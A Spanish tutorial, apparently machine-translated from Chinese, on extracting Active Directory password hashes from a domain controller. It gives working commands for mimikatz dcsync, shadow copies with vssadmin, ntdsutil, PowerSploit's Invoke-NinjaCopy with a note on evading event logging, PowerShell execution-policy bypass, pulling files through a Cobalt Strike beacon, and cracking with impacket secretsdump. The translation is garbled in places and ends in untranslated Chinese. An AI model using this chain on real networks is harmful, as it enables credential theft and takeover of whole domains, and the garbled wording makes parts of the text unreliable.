¿Dónde están?
El archivo ntds.dit es un archivo en el controlador de dominio en el entorno del dominio. Este archivo almacena la información de credenciales (hash) de todos los usuarios del dominio. En un entorno sin dominio, es decir, en un entorno de grupo de trabajo, hay un archivo sam que almacena la información de la contraseña del usuario del host actual. Si desea descifrar el archivo sam y el archivo ntds.dit, debe tener un archivo de sistema.
ntds.dit ubicación del archivo: ubicación del archivo del
C:\Windows\NTDS\NTDS.dit
sistema:C:\Windows\System32\config\SYSTEM
ubicación del archivo sam:C:\Windows\System32\config\SAM
sección ntds.dit
Craqueo en línea
El llamado crackeo en línea consiste en crackear directamente el shell existente sin descargar el archivo ntds.dit en el controlador de dominio. Por ejemplo, si tienes una baliza de rebote cs, puedes usar directamente mimikatz para descifrarla en la baliza.La premisa de todo esto es que tienes derechos de administrador.
Mimikatz tiene una función (dcsync), que puede usar el servicio de replicación de directorios (DRS) para extraer hashes de contraseña de archivos NTDS.DIT.
Puede obtener directamente todos los hashes de usuario en el dominio de prueba a través de dcsync
lsadump :: dcsync /domain:test.com / all / csv
También puede obtener la información detallada de un solo usuario
lsadump :: dcsync /domain:test.com / user: kertgt
Puede ver toda la información detallada de todos los usuarios
lsadump :: lsa / inject
Agrietamiento sin conexión
El descifrado sin conexión generalmente requiere dos pasos: el primero es descargar el controlador de dominio remoto ntds.dit al local y luego usarlo para descifrarlo localmente. El archivo ntds.dit ha sido utilizado por el sistema de Windows, por lo que el método de descarga de copia convencional no puede descargar el archivo localmente. Aquí recomiendo los siguientes métodos:
Cómo obtener el archivo ntds.dit
Copie el archivo ntds con vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
Después de ejecutar el comando anterior, puede copiar ntds.dit al ShadowCopy creado en la unidad C. El resultado de la ejecución se muestra en la siguiente figura:
También puede usar este comando para copiar archivos sam o del sistema:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hiv
Utilice ntdsutil
Ingrese los siguientes comandos en la línea de comando a su vez
Ntdsutil "activate instance ntds" Ifm create full C:\ntdsutil Quit quit
Finalmente, la carpeta ntdsutil se generará en la unidad c:
esta carpeta contiene archivos del sistema y archivos ntds.dit.
Obtenga el archivo NTDS.dit del servidor de control de dominio a través de NinjaCopy
ninjacopy dirección de descarga: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
Apéndice: Comandos para omitir la estrategia de ejecución de powershell:
cmd: powershell -ep bypass
powershell: Set-ExecutionPolicy Bypass -Scope Process
También puede consultar el siguiente enlace para
omitir la estrategia de ejecución de PowerShell
El resultado de la ejecución es el siguiente:
este método no llama al servicio Volume Shadow Copy, por lo que no se genera ningún archivo de registro 7036.
Artículo de referencia: Penetración de dominio :
obtenga el archivo NTDS.dit del servidor de control de dominio
Movimiento de archivo
Necesitamos descargar el archivo al local en este momento. En este momento, suponga que tenemos un shell de ataque de cobalto (además de este método, también podemos usar el comando scp).
En primer lugar, podemos examinar directamente el estado del archivo del host controlado en el cliente de cs. En este momento, descargar el archivo ntds.dit y el archivo system.hiv que obtuvimos en el paso anterior al local: El
primer paso es descargar en el sistema de archivos:
El segundo paso es sincronizar con el cliente de cs después de la descarga, es decir, local (no vps).
Examinar archivos localmente:
Agrietamiento local
Después de descargar el archivo al local, debe comenzar a descifrar la contraseña. En este momento, usamos el script secretsdump.py de impacket.
El comando es:
python3 secretsdump.py -ntds ~/Desktop/ntds.dit -system ~/Desktop/system.hiv LOCAL
破解出的密码格式为domain\uid:rid:lmhash:nthash,例如krbtgt的密码要采用最后一个冒号后面的那个,也就是d8d2ad开头的